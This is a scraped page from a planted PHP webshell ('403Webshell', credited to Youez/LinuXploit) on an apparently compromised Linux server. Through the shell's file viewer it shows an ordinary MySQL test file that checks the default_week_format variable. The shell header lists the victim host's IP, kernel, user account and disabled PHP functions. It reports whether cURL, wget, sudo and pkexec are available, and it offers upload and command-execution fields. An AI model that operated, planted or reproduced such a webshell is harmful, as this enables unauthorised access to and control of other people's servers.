403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.88.97
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/sys_vars/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/sys_vars/t/default_week_format_func.test
############## mysql-test\t\default_week_format_func.test #####################
#                                                                              #
# Variable Name: default_week_format                                           #
# Scope: GLOBAL & SESSION                                                      #
# Access Type: Dynamic                                                         #
# Data Type: Numeric                                                           #
# Default Value: 0                                                             #
# Range: 0 - 7                                                                 #
#                                                                              #
#                                                                              #
# Creation Date: 2008-03-07                                                    #
# Author:  Salman Rawala                                                       #
#                                                                              #
# Description: Test Cases of Dynamic System Variable "default_week_format"     #
#              that checks functionality of this variable                      #
#                                                                              #
# Reference: http://dev.mysql.com/doc/refman/5.1/en/                           #
#  server-system-variables.html#option_mysqld_default_week_format              #
#                                                                              #
################################################################################

--echo '#--------------------FN_DYNVARS_022_01-------------------------#'
####################################################################
#    Verifying different values of default_week_format   
####################################################################

--echo ## Setting variable's value to 0 ##
SET @@session.default_week_format = 0;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 1 ##
SET @@session.default_week_format = 1;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 2 ##
SET @@session.default_week_format = 2;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 3 ##
SET @@session.default_week_format = 3;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 4 ##
SET @@session.default_week_format = 4;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 5 ##
SET @@session.default_week_format = 5;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 6 ##
SET @@session.default_week_format = 6;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');

--echo ## Setting variable's value to 7 ##
SET @@session.default_week_format = 7;
SELECT @@session.default_week_format;
SELECT WEEK('2008-01-20');


Youez - 2016 - github.com/yon3zu
LinuXploit